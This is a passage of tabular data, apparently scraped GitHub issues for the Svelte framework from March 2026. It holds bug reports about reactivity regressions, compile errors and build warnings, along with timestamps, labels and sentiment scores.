 > invariant_violation ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/shared/errors.js:61:16
 > invariant ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/shared/dev.js:78:17
 > #commit ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:477:5
 > #process ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:318:3
 > Batch.flush ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:417:3
 > Array.<anonymous> ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:579:12
 > run_all ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/shared/utils.js:47:6
 > run_micro_tasks ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/dom/task.js:10:1
 > ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/dom/task.js:28:30
 (x26)
```

### Reproduction

-

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15... [TRUNCATED]",,2026-03-16 16:06:47+00:00,2026-03-16 16:41:35+00:00,2,nan,0.0242,svelte error batch has scheduled roots describe the bug reproduction logs system info shell system os macos truncated,bug,-0.7184
sveltejs/svelte,4083381682,"Error message ""Batch has scheduled roots""","### Describe the bug

Hello,
after upgrading to the latest version I get this error message when I try to render an {#each} loop where the array comes from a derived.by.


### Reproduction

I was able to create a minimal reproduction by stripping down my project step by step.

The resulting repository can be found here:
https://github.com/JoBurgard/svelte-repro-batch-has-scheduled-roots/

### Logs

```shell
Uncaught Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation

  in <unknown>
  in undefined
  in undefined
    invariant_violation http://localhost:3000/public/dist/bundle/extractor-view.js:129
    invariant http://localhost:3000/public/dist/bundle/extractor-view.js:677
    #commit http://localhost:3000/public/dist/bundle/extractor-view.js:1160
    #process http://localhost:3000/public/dist/bundle/extractor-view.js:1053
    flush http://localhost:3000/public/dist/bundle/extractor-view.js:1118
    ensure http://localhost:3000/public/dist/bundle/extractor-view.js:1225
    run_all http://localhost:3000/public/dist/bundle/extractor-view.js:59
    run_micro_tasks http://localhost:3000/public/dist/bundle/extractor-view.js:787
    flush_tasks http://localhost:3000/public/dist/bundle/extractor-view.js:801
    flushSync h... [TRUNCATED]",,2026-03-16 16:03:15+00:00,2026-06-01 20:51:07+00:00,24,nan,77.1999,error message batch has scheduled roots describe the bug hello after upgrading to the latest version i get this error message when i try to render an each loop where the array comes from a derived by reproduction i was able to create a by stripping down my project step by step the resulting repository can be found here logs shell uncaught svelte error invariant violation an invariant violation occurred meaning svelte s internal assumptions were flawed this is a bug in svelte not your app please open an issue at citing the following message batch has scheduled roots in in undefined in undefined invariant violation invariant commit process flush ensure run all run micro tasks flush tasks flushsync h truncated,bug,-0.9621
sveltejs/svelte,4076193335,`#each` block is not reactive to changes caused by Components rendered within,"### Describe the bug

Let's say we have a `Parent` component and a `Child` component.

```svelte
<!-- ""Parent"" -->
<script>
	import Component from ""./Component.svelte""
	
	const list = $state([{}])
</script>

<p>{list.length}</p>

{#each list as item}
	<Component {list} />
{/each}
```

```svelte
<!--""Child"" -->
<script lang=""ts"">
	const { list, idx } = $props()

	if (list.length === 1) {
		list.push({})
	}
</script>

<p>Component</p>
```

In the example above, the Child Component is rendered by the Parent Component once. This adds a new entry to `list`, which should render a second Child Component.

❗ However only the `length` markup is updated, and not the `#each` block.

```svelte
<p>{list.length}</p> <!-- ✅ Updated as expected -->

{#each list as item}  <!-- ❌ Not updated, reactivity broken -->
	<Component {list} />
{/each}
```

<img width=""131"" height=""136"" alt=""Image"" src=""https://github.com/user-attachments/assets/9983811d-eb02-4dbd-8c32-452763c1086c"" />

---

## Expectation

⚠️ This renders an inconsistent state, this should not happen.

It was my belief that Svelte handles all state changes, even if recursive, and ""runs until settled"". However this seems broken in this example.

---

## Working Alternatives

✅ When performing the state change (`if (...) { list.push(...) }`) from inside `$effect` or `onMount` it works as expected.
❌ However from the bare script (as above) or a `$effect.pre`, both don't update the `#each` block, only the `length` markup

---

### Reprodu... [TRUNCATED]",,2026-03-14 16:34:19+00:00,2026-03-14 16:40:06+00:00,2,nan,0.004,block is not reactive to changes caused by components rendered within describe the bug let s say we have a component and a component in the example above the child component is rendered by the parent component once this adds a new entry to which should render a second child component however only the markup is updated and not the block expectation this renders an inconsistent state this should not happen it was my belief that svelte handles all state changes even if recursive and runs until settled however this seems broken in this example working alternatives when performing the state change from inside or it works as expected however from the bare script as above or a both don t update the block only the markup reprodu truncated,others,-0.93
sveltejs/svelte,4070527650,`{#match variable}` in template syntax,"### Describe the problem

I use enum very frequently in my project, so I hope there's a `{#match}` in the template instead of using multiple `{#if}` and `{:else if}`.

Assume we have a enum:

```ts
enum Foo { A, B, C }
```

The template would be like this:

```svelte
{#if x == Foo.A}
    Lorem Ipsum
{:else if x == Foo.B}
    Quick Brown Fox
{:else if x == Foo.C}
    I can eat glass.
{:else}
    The Default Case
{/if}
```

As you can see, `x ==` is repeated in every branch, and the number of characters in `{#if` and `{:else if` are different, which looks ugly as they're not aligned.

### Describe the proposed solution

```svelte
{#match x}
    The Default Case
{:case Foo.A}
    Lorem Ipsum
{:case Foo.B}
    Quick Brown Fox
{:case Foo.C}
    I can eat glass.
{/match}
```

We can type less if we had this syntax, and every case is beautifully aligned.
The LSP could also suggest an AST transformation that adds all the missing cases for an enum.
If possible, we can even pattern match on tuples.

But there must be someone hates putting the default case to the top. That's because it prevents the markup from being indented twice as in Python and other common style for C-like languages. So we could have syntax like this if double indent is acceptable:

```svelte
{#match x}
    {:case Foo.A}
        Lorem Ipsum
    {:case Foo.B}
        Quick Brown Fox
    {:case Foo.C}
        I can eat glass.
    {:default}
        The Default Case
    {/default}
{/match}
```

But this syntax also int... [TRUNCATED]",,2026-03-13 11:30:16+00:00,2026-03-13 12:18:23+00:00,1,nan,0.0334,in template syntax describe the problem i use enum very frequently in my project so i hope there s a in the template instead of using multiple and assume we have a enum the template would be like this as you can see is repeated in every branch and the number of characters in and are different which looks ugly as they re not aligned describe the proposed solution we can type less if we had this syntax and every case is beautifully aligned the lsp could also suggest an ast transformation that adds all the missing cases for an enum if possible we can even pattern match on tuples but there must be someone hates putting the default case to the top that s because it prevents the markup from being indented twice as in python and other common style for c like languages so we could have syntax like this if double indent is acceptable but this syntax also int truncated,others,0.8726
sveltejs/svelte,4068798982,Can't compile await in RHS of ??= or ||=,"### Describe the bug

The fix in #17906 resulted in a regression where `const value = cache.value ??= await get_value()` no longer compiles successfully.

### Reproduction

5.53.10 can compile even if behavior is buggy: https://svelte.dev/playground/hello-world?version=5.53.10#H4sIAAAAAAAACm2Q0WqEMBBFfyUMfXBZWVvpk6su_Y5aSjYdbWg6CWbc7RLy70WtlQXfMucM94YJQPIboQBIodUGPRSvAfjmRjYCSJeNF-cO_oKGR3aWHre4ssRI7KGA0qteO64batggC2UH4idRiQfPkjF53B3vVL6tpPrE1YQ4KWpY-hsp0Q6kWFsSnU12Ioyi4blpvz8uI3kWF2mGMWgKPMzT6VQJeZWaRYf8PrFkro7bJevWXVf-39UjDz2J53xJKbP1DFSeB2ZLwpIyWn1VobOx7myZzbxuqHT1_PtChPkR07_zLCSPZeZqSIHxh6HgfsD4lgJLba6aPqBopfEYfwE5h7_C2gEAAA

5.53.11 can't compile: https://svelte.dev/playground/hello-world?version=5.53.11#H4sIAAAAAAAACm2Q0WqEMBBFfyUMfXBZWVvpk6su_Y5aSjYdbWg6CWbc7RLy70WtlQXfMucM94YJQPIboQBIodUGPRSvAfjmRjYCSJeNF-cO_oKGR3aWHre4ssRI7KGA0qteO64batggC2UH4idRiQfPkjF53B3vVL6tpPrE1YQ4KWpY-hsp0Q6kWFsSnU12Ioyi4blpvz8uI3kWF2mGMWgKPMzT6VQJeZWaRYf8PrFkro7bJevWXVf-39UjDz2J53xJKbP1DFSeB2ZLwpIyWn1VobOx7myZzbxuqHT1_PtChPkR07_zLCSPZeZqSIHxh6HgfsD4lgJLba6aPqBopfEYfwE5h7_C2gEAAA

```svelte
<script>
	let count1 = $state(0);
	let count2 = $state(0);
	let cache = $state({});

	async function go() {
		count1++;
		const value = cache.value ??= await get_value();
	}

	async function get_value() {
		count2++;
		return 42;
	}
</script>

<button onclick={go}>go</button>
<p>count1: {count1}, count2: {count2}</p>
```

This example is based on https://github.com/sveltejs/svelte/pull/17906/changes#diff-cf5... [TRUNCATED]","bug,compiler",2026-03-13 04:38:48+00:00,2026-03-13 18:38:38+00:00,0,"bug,compiler",0.5832,can t compile await in rhs of or describe the bug the fix in resulted in a regression where no longer compiles successfully reproduction can compile even if behavior is buggy can t compile this example is based on truncated,bug,0.2263
sveltejs/svelte,4066949400,issue between both threlte versions and svelte versions,"### Describe the bug

Hey guys,

Looking for some help narrowing down an issue.

To begin with I've created a repo for folks to work with: https://github.com/DefinitelyMaybe/threlte-issue

The repo starts at `@threlte/core` version 8.3.1 and `svelte` version `5.53.7`, which creates the expected outcome of the code.

Different issues arise as we change versions. So keeping svelte as in but using threlte 8.4.1, suddenly the symbols in the middle disappear but the shapes are still there and behaving as expected. If we keep threlte at version 8.3.1 and use svelte 5.53.8 then the middle symbols are there but don't move anymore and neither do the shapes. The not moving problem is resolved by svelte 5.53.10+ and works as expected.

our mono-repo and packages are all built with the same version of svelte, `5.26.2`, which is why this [only just came up](https://github.com/threlte/threlte/issues/1697) from a member of our community.

### Reproduction

https://github.com/DefinitelyMaybe/threlte-issue

### Logs

```shell

```

### System Info

```shell
browers
```

### Severity

annoyance",,2026-03-12 20:05:46+00:00,2026-03-12 22:58:01+00:00,5,nan,0.1196,issue between both threlte versions and svelte versions describe the bug hey guys looking for some help narrowing down an issue to begin with i ve created a repo for folks to work with the repo starts at version and version which creates the expected outcome of the code different issues arise as we change versions so keeping svelte as in but using threlte suddenly the symbols in the middle disappear but the shapes are still there and behaving as expected if we keep threlte at version and use svelte then the middle symbols are there but don t move anymore and neither do the shapes the not moving problem is resolved by svelte and works as expected our mono repo and packages are all built with the same version of svelte which is why this only just came up from a member of our community reproduction logs system info severity annoyance,bug,0.1373
sveltejs/svelte,4066332297,Website becomes unresponsive after initial render after `5.53.7`,"### Describe the bug

I'm opening this issue based on the comment in https://github.com/sveltejs/svelte/issues/17907#issuecomment-4046751528

Basically, after updating from `5.53.7` to any of the newer versions, my entire application becomes unresponsive.

Its really hard to pinpoint what is causing the issue, as there is no error being thrown, the page just loads (partially), and all selects or navigation buttons don't do anything.

I understand a GH issue without reproduction is not very useful, but as it looks like I'm not the only one running into this, I would like to post one anyways to gather information about it so we can hopefully make a reproduction possible.

Just for context, my stack includes: bits-ui (shadcn-svelte) with version `2.16.3`, svelte as mentioned with async flag and a sveltekit `2.53.4` app with remote functions but no forking. SSR is disabled for the whole app.

### Severity

blocking all usage of svelte",,2026-03-12 18:01:24+00:00,2026-03-17 13:52:08+00:00,16,nan,4.8269,website becomes unresponsive after initial render after describe the bug i m opening this issue based on the comment in basically after updating from to any of the newer versions my entire application becomes unresponsive its really hard to pinpoint what is causing the issue as there is no error being thrown the page just loads partially and all selects or navigation buttons don t do anything i understand a gh issue without reproduction is not very useful but as it looks like i m not the only one running into this i would like to post one anyways to gather information about it so we can hopefully make a reproduction possible just for context my stack includes bits ui shadcn svelte with version svelte as mentioned with async flag and a sveltekit app with remote functions but no forking ssr is disabled for the whole app severity blocking all usage of svelte,documentation,-0.2645
sveltejs/svelte,4064547508,Content of `#if` block is evaluated before the condition when combined with transition,"### Describe the bug

Since svelte version [`5.53.7`](https://github.com/sveltejs/svelte/releases/tag/svelte%405.53.7), the content of the `#if` block is evaluated before the condition of the `#if` block, so you can't rely on it to catch undefined values for example.

In previous versions (`5.53.6` and lower), i could rely on the fact that inside of the outer `#if` block, `value` is always an array.

```svelte
<script lang=""ts"">
	import {slide} from 'svelte/transition';

	let value: {current: number}[] | undefined = $state([{current: 1}]);
</script>

<button
	onclick={() => {
		if (value) {
			value = undefined;
		} else {
			value = [{current: 1}];
		}
	}}
>
	toggle
</button>

{#if value?.length}
	<div transition:slide>
		{#if value[0]?.current}
			x
		{/if}
	</div>
{/if}
```

### Reproduction

https://svelte.dev/playground/042eda8e56f2493faa3cc5ffc78dac85?version=5.53.7

1. Turn off async mode
2. Click on toggle
3. Error is produced in console and everything breaks

When you remove the transition, it works fine.
In versions `5.53.6` and lower, it works even with the transition.


### Logs

```text
TypeError
TypeError: Cannot read properties of undefined (reading '0')
    at eval (playground:output:5644:22)
    at eval (playground:output:5165:4)
    at update_reaction (playground:output:3910:17)
    at update_effect (playground:output:4112:19)
    at #traverse_effect_tree (playground:output:1091:7)
    at Batch.process (playground:output:1022:31)
    at flush_effects (playgr... [TRUNCATED]",,2026-03-12 13:09:03+00:00,2026-03-12 13:36:22+00:00,2,nan,0.019,content of block is evaluated before the condition when combined with transition describe the bug since svelte version the content of the block is evaluated before the condition of the block so you can t rely on it to catch undefined values for example in previous versions and lower i could rely on the fact that inside of the outer block is always an array reproduction turn off async mode click on toggle error is produced in console and everything breaks when you remove the transition it works fine in versions and lower it works even with the transition logs text typeerror typeerror cannot read properties of undefined reading at eval playground output at eval playground output at update reaction playground output at update effect playground output at traverse effect tree playground output at batch process playground output at flush effects playgr truncated,others,-0.9477
sveltejs/svelte,4063597435,Unexpected {#if .. } behavior,"### Describe the bug

I encountered an unexpected error in my production repo. I created a minimal repro on the svelte playground linked below.

Basically in the repro this throws an error:
```svelte
{#if task.question}
  {@const question = $state.snapshot(task.question)}
    <div>{question.responseOptions?.join("", "")}</div>
{/if}
```

`can't access property ""responseOptions"", get(...) is null in <unknown> in App.svelte in __wrapper.svelte in undefined`

while this doesn't

```svelte
{#if task.question}
  {@const question = $state.snapshot(task.question)}
	{#if question}
    <div>{question.responseOptions?.join("", "")}</div>
	{/if}
{/if}
```

I have typescript set to strict and it doesn't catch this and expects `question` to not be undefined.

If this somehow is expected behavior I would love an explanation, but really i think the second `{#if}` should not be necessary here.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.53.10#H4sIAAAAAAAAE3VSwVLCMBD9lTV6KDNMuYeC-gM6enMohwBbiMY0bbaoU_PvJm1KR8RLmr59ee9lNy3T4h0ZZ1WDlmSpxUYhtNeyAAcbPIijLGs2ZYVUaBlftYy-TOAHwOPx9L0xqT2iooBthMVL-LbUhJq8DMvstpaGQAm9X-SMbM6WuQYI4vAUo8AC2gAC1GhNqS0-moDbWw6Waqn3q_W8J-ywEI2i58g7Ebqy82v4KiSo-Cj_DbpR6l8XDqucvaCPNoWcPZQ5W08vunGIvHOzQknj5QuhLEbY98ASkLBvo-8-5IqhksnfgJEG4IeSXAXRyYjB4EJ1g_MRrZGaWkN1gtywiZUgHYtuCJ7N-rksQ9juEYSk6RCu47V3_R2qcUo3lgRharUw9lBS8uvQJBpnO3lctgOano80fS2lTvpeT1w2C-wuxUwWzj8ewk9iPFzSrf2fkOpD6h3jXXPdD3p_UBbHAgAA

### Logs

```shell
`can't access property ""responseOpt... [TRUNCATED]",,2026-03-12 10:15:54+00:00,2026-03-12 10:35:10+00:00,3,nan,0.0134,unexpected if behavior describe the bug i encountered an unexpected error in my production repo i created a minimal repro on the svelte playground linked below basically in the repro this throws an error while this doesn t i have typescript set to strict and it doesn t catch this and expects to not be undefined if this somehow is i would love an explanation but really i think the second should not be necessary here reproduction logs shell can t access property responseopt truncated,others,-0.2263
sveltejs/svelte,4090852407,Merge `vite-plugin-svelte` options,"- [Remote function documentation](https://svelte.dev/docs/kit/remote-functions) uses `kit` and `compilerOptions` keys
- New template uses the `vitePlugin` key

This is the merged result:

```js
/** @type {import('@sveltejs/kit').Config} */
const config = {
  kit: {
    experimental: { remoteFunctions: true },
    adapter: adapter(),
  },
  compilerOptions: {
    experimental: { async: true },
  },
  vitePlugin: {
    dynamicCompileOptions: ({ filename }) => ({ runes: !filename.includes('node_modules') }),
  },
};
```

Could the `dynamicCompileOptions` be moved into `compilerOptions` since it is related to runes only?

Or the other way around and update the documentation:

```js
/** @type {import('@sveltejs/kit').Config} */
const config = {
  kit: { adapter: adapter() },
  vitePlugin: {
    experimental: { async: true, remoteFunctions: true }, // add experimental flags here
    dynamicCompileOptions: ({ filename }) => ({ runes: !filename.includes('node_modules') }),
  },
};
```
",,2026-03-12 03:08:13+00:00,2026-03-17 20:11:34+00:00,3,nan,5.7107,merge options remote function documentation uses and keys new template uses the key this is the merged result could the be moved into since it is related to runes only or the other way around and update the documentation,others,0.0
sveltejs/svelte,4061255534,bind:value on plain <input> with $state stops updating template (regression in 5.53.7+),"### Describe the bug

`$state` reactivity is completely broken when used with `bind:value` on a plain `<input>`. The bound variable updates in JavaScript (verified via `console.log`), but the template never re-renders.

**Works in:** 5.53.6  
**Broken in:** 5.53.7+ (likely #17805 ""simplify scheduling logic"" or #17837)

We verified this in CI: pinning `svelte@5.53.6` makes our E2E tests pass. Bumping to `5.53.10` breaks them. Same code, same CI environment, only difference is the Svelte version.

### Reproduction

The simplest possible Svelte 5 code fails:

```svelte
<script lang=""ts"">
  let value = $state('');
</script>

<h1>Debug Test</h1>
<input type=""text"" bind:value />
<p>Value: ""{value}""</p>
```

**Expected:** Typing in the input updates the `<p>` tag in real time.  
**Actual:** The `<p>` tag stays as `Value: """"` permanently. The input accepts typing (DOM updates), but the template never re-renders.

### What we tested

We progressively simplified to isolate the issue:

1. **Started with:** shadcn-svelte `<Input>` wrapper (`$bindable()` + `bind:value` + `{...restProps}`) with `oninput` handler → broken
2. **Removed wrapper:** Plain `<input>` with `value={state}` + `oninput` handler → broken
3. **Removed `oninput`:** Plain `<input>` with just `bind:value={state}` → broken
4. **Removed controller:** Local `$state('')` in the component → broken
5. **Isolated page:** Fresh route with nothing but the 6-line reproduction above → broken

At each step, `console.log` confirms the... [TRUNCATED]",,2026-03-11 23:36:40+00:00,2026-03-12 13:28:44+00:00,9,nan,0.5778,bind value on plain with state stops updating template regression in describe the bug reactivity is completely broken when used with on a plain the bound variable updates in javascript verified via but the template never re renders works in broken in likely simplify scheduling logic or we verified this in ci pinning makes our e e tests pass bumping to breaks them same code same ci environment only difference is the svelte version reproduction the simplest possible svelte code fails expected typing in the input updates the tag in real time actual the tag stays as permanently the input accepts typing dom updates but the template never re renders what we tested we progressively simplified to isolate the issue started with shadcn svelte wrapper with handler broken removed wrapper plain with handler broken removed plain with just broken removed controller local in the component broken isolated page fresh route with nothing but the line reproduction above broken at each step confirms the truncated,bug,-0.9885
sveltejs/svelte,4055538504,||= evaluates RHS when LHS is truthy in Svelte (but not in vanilla JS),"### Describe the bug

||= evaluates the right-hand-side when the left-hand-side is truthy in Svelte. This is incorrect behavior, which does not occur in vanilla JavaScript.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.53.10#H4sIAAAAAAAACnWRwW7CMBBEf2W1F4MUNfeIIFWVKnHpDxAOxtkUC2cd2RsoCvn3ygpQWujFh-eZ1czugKxbwgIxw8Y6ilisB5RTl1gCmF0Vr133Eg_kJLGtjvSMG89CLBELXEQTbCfLiitpejZiPUPtj-y8rt-to1kf3ByG9F9JnsOqAdnZCA_iCBpSFmiCb0F2BJHCgUJ2s1q5E7e9E9s5ArEtRdBcQ6OtiyAejDY7mmzGc_SOXpz_nKmrW2WQUk2KQNIHBnUppRId05OsMs2CEobxacVV80FUUz27dZxsaW1QgtrTSd3z1PDtsj4op-nrJN7A-Vz-3pzqg1Pzxx73M-a3uI-J_qOL_OdovNj2Ip7Bs3HW7Mvhr2NcCkVZ5JNuWTFmKPQlWEjoadxkKNq6o-Uai0a7SOM3ExrJRm8CAAA

```svelte
<script>
	function downloadFile(url) {
		// If this function downloads a file from the server,
		// it downloads multiple times and fails to cache
		console.log('download', url)
		return 'content'
	}
	const cache = {}
	function downloadIfNeeded() {
		const name = 'key'
		const fileContents = cache[name] ||= downloadFile('url')
		console.log(fileContents)
	}
	downloadIfNeeded()
	downloadIfNeeded()
</script>

<button onclick={downloadIfNeeded}>test</button>
```

### Logs

This is the initial output in Svelte. Clicking the button logs both the ""download url"" and ""content"" entries.

```
download url
content
download url
content
```

If you run the `<script>` body in a vanilla JS console, the output is as expected:

```
download url
content
content
```

Interestingly, splitting the statement into two ... [TRUNCATED]","bug,compiler",2026-03-11 03:46:06+00:00,2026-03-11 17:48:43+00:00,3,"bug,compiler",0.5852,evaluates rhs when lhs is truthy in svelte but not in vanilla js describe the bug evaluates the right hand side when the left hand side is truthy in svelte this is incorrect behavior which does not occur in vanilla javascript reproduction logs this is the initial output in svelte clicking the button logs both the download url and content entries if you run the body in a vanilla js console the output is as expected interestingly splitting the statement into two truncated,bug,0.8462
sveltejs/svelte,4053919052,Bug: Circular chunk dependency warning (untrack / tick) in Svelte 5.53.9 during Vite build,"### Describe the bug

After updating to Svelte `5.53.9` and SvelteKit `2.53.4`, running a production build (`vite build`) produces Rollup circular dependency warnings regarding `untrack` and `tick` being re-exported through `index-client.js`.

This occurs with a vanilla Vite configuration (no custom `rollupOptions` or manual chunking enabled). It appears to be a regression or continuation of the recently closed issue **#15973**, but specifically affecting these client-side exports.

**Temporary Workaround Used:**
For now, I had to bypass the warning and ensure stable execution order by manually pinning the internal Svelte modules into a single chunk via `vite.config.js`:
`manualChunks: (id) => { if (id.includes('svelte/src/internal')) return 'svelte-internal'; }`

### Reproduction

I do not have a minimal reproduction repo at the moment, but this triggers on a standard Vite build without any custom chunking configuration. 

Here is the active `vite.config.js` being used when the warning occurs:

```javascript
import { sveltekit } from ""@sveltejs/kit/vite""
import { defineConfig } from ""vite""

export default defineConfig({
    plugins: [
        sveltekit(),
    ],
    build: {
        target: [""chrome112"", ""edge112"", ""safari17""], 
    },
    resolve: {
        alias: {
            $log: ""/src/lib/utils/log/log-enabled.js""
        },
    }
})

### Logs

```shell
Export ""untrack"" of module ""node_modules/svelte/src/internal/client/runtime.js"" was reexported through module ""node_m... [TRUNCATED]",,2026-03-10 19:56:02+00:00,2026-03-12 10:17:57+00:00,2,nan,1.5986,circular chunk dependency warning untrack tick in svelte during vite build describe the bug after updating to svelte and sveltekit running a production build produces rollup circular dependency warnings regarding and being re exported through this occurs with a vanilla vite configuration no custom or manual chunking enabled it appears to be a regression or continuation of the recently closed issue but specifically affecting these client side exports temporary workaround used for now i had to bypass the warning and ensure stable execution order by manually pinning the internal svelte modules into a single chunk via reproduction i do not have a repo at the moment but this triggers on a standard vite build without any custom chunking configuration here is the active being used when the warning occurs shell export untrack of module node modules svelte src internal client runtime js was reexported through module node m truncated,bug,0.2144
sveltejs/svelte,4053714240,[Bug]: Circular dependency warnings in runtime.js / index-client.js and runtime.js (v5.53.9),"### Describe the bug

When building a SvelteKit app on 5.53.9, Rollup throws warnings complaining that untrack and tick are re-exported between runtime.js and index-client.js, warning about broken execution order.

This looks very similar to #15973


### Reproduction

The warning in the logs is quite precise. Let me know if a repro is really needed.

### Logs

```shell
> vite build

vite v6.4.1 building SSR bundle for production...
✓ 334 modules transformed.
vite v6.4.1 building for production...
✓ 302 modules transformed.
Export ""untrack"" of module ""node_modules/svelte/src/internal/client/runtime.js"" was reexported through module ""node_modules/svelte/src/index-client.js"" while both modules are dependencies of each other and will end up in different chunks by current Rollup settings. This scenario is not well supported at the moment as it will produce a circular dependency between chunks and will likely lead to broken execution order.
Either change the import in ""node_modules/svelte/src/store/utils.js"" to point directly to the exporting module or reconfigure ""output.manualChunks"" to ensure these modules end up in the same chunk.
Export ""tick"" of module ""node_modules/svelte/src/internal/client/runtime.js"" was reexported through module ""node_modules/svelte/src/index-client.js"" while both modules are dependencies of each other and will end up in different chunks by current Rollup settings. This scenario is not well supported at the moment as it will produce a circular dependency... [TRUNCATED]",,2026-03-10 19:16:35+00:00,2026-03-10 19:22:24+00:00,1,nan,0.004,bug circular dependency warnings in runtime js index client js and runtime js v describe the bug when building a sveltekit app on rollup throws warnings complaining that untrack and tick are re exported between runtime js and index client js warning about broken execution order this looks very similar to reproduction the warning in the logs is quite precise let me know if a repro is really needed logs shell vite build vite v building ssr bundle for production modules transformed vite v building for production modules transformed export untrack of module node modules svelte src internal client runtime js was reexported through module node modules svelte src index client js while both modules are dependencies of each other and will end up in different chunks by current rollup settings this scenario is not well supported at the moment as it will produce a circular dependency between chunks and will likely lead to broken execution order either change the import in node modules svelte src store utils js to point directly to the exporting module or reconfigure output manualchunks to ensure these modules end up in the same chunk export tick of module node modules svelte src internal client runtime js was reexported through module node modules svelte src index client js while both modules are dependencies of each other and will end up in different chunks by current rollup settings this scenario is not well supported at the moment as it will produce a circular dependency truncated,bug,-0.9724
sveltejs/svelte,4053327240,Regression in 5.53.8: {#if} block doesn't re-evaluate inside dynamically rendered components,"### Describe the bug

  `{#if state_var}` blocks stop re-evaluating when `$state` changes inside components rendered dynamically by a Router (using `<svelte:component>` or similar dynamic component pattern).

  Text interpolation `{state_var}` shows the correct value, and `$inspect` logs the correct value, but `{#if state_var}` stays stuck on the truthy branch.

  ### Reproduction

  Component rendered dynamically by a Router:
  ```svelte
  <script>
    let loading = $state(false)

    // Simulate async load
    $effect(() => {
      loading = true
      fetch('/api/data')
        .then(r => r.json())
        .finally(() => (loading = false))
    })
  </script>

  <!-- Shows ""false"" correctly -->
  {loading}

  <!-- STUCK on truthy branch, shows Loader forever -->
  {#if loading}
    <p>Loading...</p>
  {:else}
    <p>Content</p>
  {/if}

  Router renders components dynamically:
  <svelte:component this={CurrentComponent} {...currentProps} />

### Reproduction

 https://github.com/sveltejs/svelte/issues — no REPL available, but bisect confirms:
  - 5.53.7: works ✅
  - 5.53.8: broken ❌

  Likely caused by one of: #17882, #17805, #17848

### Logs

```shell
$inspect shows loading = false
{loading} text interpolation shows ""false"" in DOM
{#if loading} stays on truthy branch (Loader visible)
No errors in console
```

### System Info

```shell
System:
    OS: Linux 6.12 Alpine Linux
    CPU: (14) arm64 unknown
    Memory: 10.66 GB / 15.60 GB
    Container: Yes
    Shell: Unknown - ... [TRUNCATED]",,2026-03-10 17:54:53+00:00,2026-03-11 09:37:43+00:00,1,nan,0.6547,regression in if block doesn t re evaluate inside dynamically rendered components describe the bug blocks stop re evaluating when changes inside components rendered dynamically by a router using or similar dynamic component pattern text interpolation shows the correct value and logs the correct value but stays stuck on the truthy branch reproduction component rendered dynamically by a router shell inspect shows loading false loading text interpolation shows false in dom if loading stays on truthy branch loader visible no errors in console shell system os linux alpine linux cpu arm unknown memory gb gb container yes shell unknown truncated,bug,0.0258
sveltejs/svelte,4051426685,Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node',"### Describe the bug

This is a possible regression of https://github.com/sveltejs/svelte/issues/16904, but under very specific conditions we get this error on hydration.

```
Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
    at Sr (C2AMhW2U.js:1:15240)
    at te (2.zFvG3oIS.js:1:3340)
    at an (2.zFvG3oIS.js:5:8723)
    at app._9CBIW1T.js:2:4040
    at DYwQLO5H.js:1:827
    at BiJdSCvE.js:1:1206
    at Ht (C2AMhW2U.js:1:20092)
    at ve (C2AMhW2U.js:1:21158)
    at M (C2AMhW2U.js:1:16511)
    at qr (C2AMhW2U.js:1:17484)
```

It only happens on production builds which made it frustrating to reproduce when trying to narrow down the issue in a larger app that takes a little while to build, but I managed a simple reproduction.

It has something to do with a `$derived(await ...)` while having a sibling `Collapsible` 

### Reproduction

Steps to reproduce:

- clone reproduction https://github.com/21RISK/svelte-async-reproduction
- build `npm run build`
- preview `npm run preview`

When loading the root route you'll get the hydration error.


### Logs

```shell
ClXyJ_Ym.js:2 Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
    at Sr (C2AMhW2U.js:1:15240)
    at te (2.zFvG3oIS.js:1:3340)
    at an (2.zFvG3oIS.js:5:8723)
    at app.6HY6GQRO.js:2:4040
    at DYwQLO5H.js:1:827
    at BiJdSCvE.js:1:1206
    at Ht (C2AMhW2... [TRUNCATED]",,2026-03-10 12:21:17+00:00,2026-04-20 13:48:28+00:00,2,nan,41.0605,failed to hydrate hierarchyrequesterror failed to execute appendchild on node describe the bug this is a possible regression of but under very specific conditions we get this error on hydration it only happens on production builds which made it frustrating to reproduce when trying to narrow down the issue in a larger app that takes a little while to build but i managed a simple reproduction it has something to do with a while having a sibling reproduction clone reproduction build preview when loading the root route you ll get the hydration error logs shell clxyj ym js failed to hydrate hierarchyrequesterror failed to execute appendchild on node this node type does not support this method at sr c amhw u js at te zfvg ois js at an zfvg ois js at app hy gqro js at dywqlo h js at bijdscve js at ht c amhw truncated,bug,-0.9854
sveltejs/svelte,4050693477,$state mutation inside getter read during flush deadlocks scheduler (regression in 5.53.8),"### Describe the bug

A store getter that lazily writes `$state` on first read deadlocks the scheduler when read inside a template binding during the flush/commit phase. The UI freezes permanently — no errors, no stack overflow, no crash.

**Works in:** 5.53.7  
**Broken in:** 5.53.8, 5.53.9  
**Likely cause:** #17805 ""simplify scheduling logic""

### Reproduction

https://github.com/vdg/svelte-5.53.8-scheduler-deadlock

```bash
git clone https://github.com/vdg/svelte-5.53.8-scheduler-deadlock
cd svelte-5.53.8-scheduler-deadlock
npm install
npm run dev
```

1. Click **""Open panel""**
2. Click **""Counter""** — counter does not update, UI is frozen
3. No console errors

Change to `svelte@5.53.7` → works fine.

### The pattern

A module store with a getter that writes `$state` on first read:

```js
let panelWidth = $state(null)

export default {
  get panelWidth () {
    if (panelWidth === null) panelWidth = DEFAULT_WIDTH  // writes $state
